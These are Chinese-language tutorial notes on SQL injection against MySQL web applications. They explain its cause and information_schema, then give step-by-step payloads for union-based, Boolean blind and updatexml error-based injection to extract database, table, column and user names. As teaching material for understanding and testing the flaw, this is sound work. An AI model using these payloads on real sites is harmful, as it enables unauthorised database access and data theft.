产生原因
Web应用程序没有对用户数据的合法性进行判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同SQL语句来实现对数据库任意操作
SQL注入原理
SQL注入产生,需要满足一下两个条件
-
参数用户可控:前端传给后端的参数内容是用户可控制的
-
参数代入数据库查询:传入的参数拼接到SQL语句,且代入数据库查询
相关知识点
-
在MySQL
5.0版本之后,默认数据库中存放一个”information_schema”的数据库,在该数据库中:-
SCHEMATA表:存储该用户创建的所有数据库名
-
TABLES表:存储该用户所创建的库名和表名
-
COLUMNS表:存储该用户创建的所有库名,表名和字段名
-
-
SQL语句
不知道任何条件时
Select <要查询的字段名> from <库名.表名>
知道一条已知条件
Select <要查询的字段名> from <库名.表名> where
<已知条件字段名=已知条件值>
知道两条已知条件
Select <要查询的字段名> from <库名.表名> where <已知条件1> and
<已知条件2>
- limit用法
格式 limit m,n (m指记录开始的位置,n指读取n条记录)
注:从0开始
- 注释符
常见注释符 “ # ”,“ – ”,” /**/ ”
- 常用函数
database() | 当前网站使用的数据库 |
---|---|
version() | 当前MySQL数据库版本 |
user() | 当前MySQL用户 |
- 内联注释
内联注释形势: index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
union注入
-
在URL后添加单引号,再次访问,返回结果与之前不同
-
在URL后添加and 1=1,再次访问,返回结果与之前相同
-
在URL后添加and 1=2,再次访问,返回结果与之前不同
-
可以得出结论—该网站存在SQL注入漏洞,接着,使用 order by
1-99语句查询该数据表的字段数(如 order by 3页面返回结果与之前相同,order by 4
页面返回结果与之前不同,则字段数为3) -
然后将URL中ID值设置为数据库中没有的数据(如-1)使用union select
查询,返回可以输入MySQL语句的位置 -
访问 id=-1 union select 1,database(),3 查询2位置的数据库名
-
在2位置粘贴语句(select table_name from information_sacema.tables where
table_schema=‘sql’ limit 0,1)返回数据库第一个表名 -
继续在2位置查询字段名
Boolean注入
-
输入正常网址,页面返回yes,URL后添加 ’ ,页面返回no
-
URL后加 and 1=1%23,返回yes,加and1=2%23,返回no
-
修改ID值,仍返回yes或no没有数据库返回数据则可以尝试Boolean注入
-
URL后加入 ’ and length(database())>=1- - +
-
1的位置可以是任意数字观察页面返回结果判断库名长度
- ’ and substr(database(),1,1)=’?’- - +
-
substr() 截取database()的值(从1开始,截取一个)
-
可以使用burpsuite进行爆破(使用a-z,0-9,特殊符号或ASCII码)
-
将查询字段名,表名的语句替换到database()位置,查询字段名和表明
报错注入
-
在URL后加 ’ 页面报错
-
因为程序直接将错误信息输出到页面,所以可以利用报错信息获取数据
-
获取当前用户:
- ’ and updatexml(1,concat(0x7e,(select user()),0x7e),1)- - +
-
获取当前库名
- ’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)- - +
-
获取库名表名字段名
- ’ and updatexml(1,concat(0x7e,(select schema_name from
-
information_schema.schemata limit 0,1),0x7e),1)- - +